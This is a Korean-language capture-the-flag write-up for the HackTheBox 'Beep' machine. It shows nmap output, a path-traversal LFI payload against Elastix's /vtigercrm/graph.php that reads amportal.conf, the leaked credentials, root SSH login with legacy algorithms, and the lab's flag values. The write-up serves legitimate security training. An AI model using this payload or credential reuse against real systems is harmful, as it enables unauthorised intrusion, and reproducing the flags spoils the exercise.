HackTheBox Labs Writeup - Beep

Overview
이 글에서는 HackTheBox Labs 머신 중 하나인 Beep 머신에 대한 풀이 방법에 대해 설명한다.

Task 1
Question : Which Linux distribution is the target machine running?
Task 에서 공격 대상 머신의 Linux distribution 을 묻고 있다. nmap 으로 스캐닝해보자.
$ nmap -sV -A -T4 -Pn 10.10.10.7
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 10:18 EST
Nmap scan report for 10.10.10.7
Host is up (0.20s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http Apache httpd 2.2.3
|_http-title: Did not follow redirect to https://10.10.10.7/
|_http-server-header: Apache/2.2.3 (CentOS)
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: UIDL APOP AUTH-RESP-CODE EXPIRE(NEVER) LOGIN-DELAY(0) TOP STLS IMPLEMENTATION(Cyrus POP3 server v2) USER RESP-CODES PIPELINING
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 790/udp status
|_ 100024 1 793/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: ACL MAILBOX-REFERRALS BINARY LITERAL+ NO Completed OK SORT IMAP4rev1 NAMESPACE X-NETSCAPE CHILDREN THREAD=ORDEREDSUBJECT IMAP4 LIST-SUBSCRIBED UNSELECT LISTEXT IDLE SORT=MODSEQ ANNOTATEMORE RENAME THREAD=REFERENCES STARTTLS MULTIAPPEND URLAUTHA0001 CATENATE QUOTA UIDPLUS ID RIGHTS=kxte ATOMIC CONDSTORE
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| http-robots.txt: 1 disallowed entry
|_/
|_ssl-date: 2025-02-16T15:21:55+00:00; +4s from scanner time.
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2017-04-07T08:22:08
|_Not valid after: 2018-04-07T08:22:08
|_http-title: Elastix - Login page
|_http-server-header: Apache/2.2.3 (CentOS)
993/tcp open ssl/imap Cyrus imapd
|_imap-capabilities: CAPABILITY
995/tcp open pop3 Cyrus pop3d
3306/tcp open mysql MySQL (unauthorized)
4445/tcp open upnotifyp?
10000/tcp open http MiniServ 1.570 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/16%OT=22%CT=1%CU=42564%PV=Y%DS=2%DC=T%G=Y%TM=67B2
OS:034D%P=x86_64-pc-linux-gnu)SEQ(SP=C3%GCD=1%ISR=CB%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=C3%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11N
OS:W7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=16A0
OS:%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M53C
OS:NNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y
OS:%T=40%W=16A0%S=O%A=S+%F=AS%O=M53CST11NW7%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=
OS:Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=A
OS:R%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%R
OS:UD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com
Host script results:
|_clock-skew: 3s
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 202.95 ms 10.10.14.1
2 203.84 ms 10.10.10.7
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 415.87 seconds
nmap 스캐닝 결과 중 80번 포트에서 http 를 운영 중이며, 상세 내역 중 http-server-header: Apache/2.2.3 (CentOS)
이란 부분이 존재한다. CentOS
가 Linux distribution 이다.
Answer : CentOS
Task 2
Question : What version of TLS is the web application on TCP port 443 using?
firefox 브라우저로 공격 대상 서버로 접속을 시도하면 자동으로 443 포트를 사용하는 https 프로토콜로 리다이렉트된다. 접속 시 서버에서 firefox 에서 지원하지 않는 TLS 버전을 제공하여 SSL_ERROR_UNSUPPORTED_VERSION
에러가 발생하며 접근이 불가능하다.

SSL_ERROR_UNSUPPORTED_VERSION
에러 메시지Task 에서는 TLS 버전을 묻고 있으니 wireshark 를 실행하고 다시 firefox 로 해당 주소를 접속 시도해보자. 송신 패킷의 Transport Layer Security 에서 TLS 버전이 1.0인 것을 확인할 수 있다.

Answer : 1.0
Task 3
Question : What is the name of the software that's hosting a webserver on 443?
공격 머신에서 운영 중인 서버에 접속해야 하지만, 앞서 보았다시피 TLS 버전이 낮아 firefox 에서 접근이 불가능한 상태이다. firefox 의 url 입력란에 about:config
를 입력하면 firefox 설정 값을 수정할 수 있다. 설정 값 중 security.tls.version
을 검색하여 최저 TLS 버전(security.tls.version.min
) 값을 1로 설정하면 서버에 접속할 수 있다.

서버 대문에 접속하면 운영 중인 웹 프로그램의 이름이 Elastix인 것을 확인할 수 있다.

Answer : elastix
Task 4
Question : Which Elastix endpoint is vulnerable to a Local File Inclusion?
Task 에서 Elastix 의 엔드포인트 중 LFI 취약점을 가지는 페이지의 경로를 묻고 있다. 구글링 결과 Elastix 2.2.0 버전에서 /vtigercrm/graph.php
경로에 LFI 취약점이 존재하는 것을 확인할 수 있다.

해당 Exploit 코드는 Perl 로 작성되어 있다. 코드를 자세히 보면 /vtigercrm/graph.php
경로에 current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
을 인자로 전달하여 최종적으로 https://{공격 대상 서버 IP}/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
로 접속을 시도한다.
Answer : /vtigercrm/graph.php
Task 5
Question : What is the name of the FreePBX configuration file that contains the database configuration?
앞서 보았던 Exploit 의 핵심적인 부분은current_language
인자에 전달되는 /etc/amportal.conf
파일이다. 이 파일은 Asterisk 기반의 오픈소스 PBX 시스템 FreePBX 에서 사용되는 구성 파일 중 하나로, 파일 내에 데이터베이스와 관련된 credential 이 존재할 수 있다.
LFI 공격을 Exploit 해보면 아래와 같이 해당 설정 파일 내 데이터가 출력되는 것을 확인할 수 있다. View Page Source
로 보면 더 보기 좋게 정리된다.

amportal.conf
파일 내용 중 아래와 같이 credential 로 추정되는 데이터가 존재한다.
AMPDBHOST=localhost
AMPDBENGINE=mysql
# AMPDBNAME=asterisk
AMPDBUSER=asteriskuser
# AMPDBPASS=amp109
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
#AMPMGRPASS=amp111
AMPMGRPASS=jEhdIekWmdjE
Answer : amportal.conf
Task 6
Question : What additional flag is needed when attempting to SSH as root to the target machine due to a "no matching key exchange method found" error? It starts with `-o` and ends with `-sha1`.
앞서 nmap 으로 스캐닝한 결과 중 22번 포트에서 ssh 를 운영 중인 것을 확인했다. 만약 amportal.conf
발견한 credential 을 ssh에서도 동일하게 사용하고 있다면 접속할 수 있을 것이다.
하지만 ssh 로 접속을 시도하면 no matching key exchange method found
에러가 발생한다.
$ ssh root@10.10.10.7
Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
이는 클라이언트와 서버 간 키 교환 방식이 서로 맞지 않아 발생하는 에러다. 에러 메시지를 자세히 보면 서버 측에서 diffie-hellman-group-exchange-sha1
,diffie-hellman-group14-sha1
,diffie-hellman-group1-sha1
이라는 3가지 알고리즘을 제안하고 있으므로 이 중 하나를 선택해야 한다.
$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.10.10.7
Unable to negotiate with 10.10.10.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
키 교환 방식을 지정해서 실행하니, 이번엔 호스트 키 타입이 맞지 않는다고 한다. ssh-rsa
,ssh-dss
방식을 지원하니 둘 중 하나를 선택하여 지정하자. root 암호는 amportal.conf
파일에서 발견한 jEhdIekWmdjE
을 사용했다.
$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa root@10.10.10.7
root@10.10.10.7's password:
Last login: Mon Feb 17 17:14:02 2025 from 10.10.14.13
Welcome to Elastix
----------------------------------------------------
To access your Elastix System, using a separate workstation (PC/MAC/Linux)
Open the Internet Browser using the following URL:
http://10.10.10.7
[root@beep ~]#
Answer : -oKexAlgorithms=+diffie-hellman-group1-sha1
Submit User, Root Flag
ssh로 접속한 계정이 root 이니 권한 상승은 필요 없다. /home/fanis/user.txt
, /root/root.txt
파일에서 각각 user, root flag 를 찾을 수 있다.
[root@beep /]# cat /home/fanis/user.txt
48fd30b191566213de0c0ebf071d57e1
[root@beep ~]# cat /root/root.txt
91045a9d941e6ae416ecaaff16c16833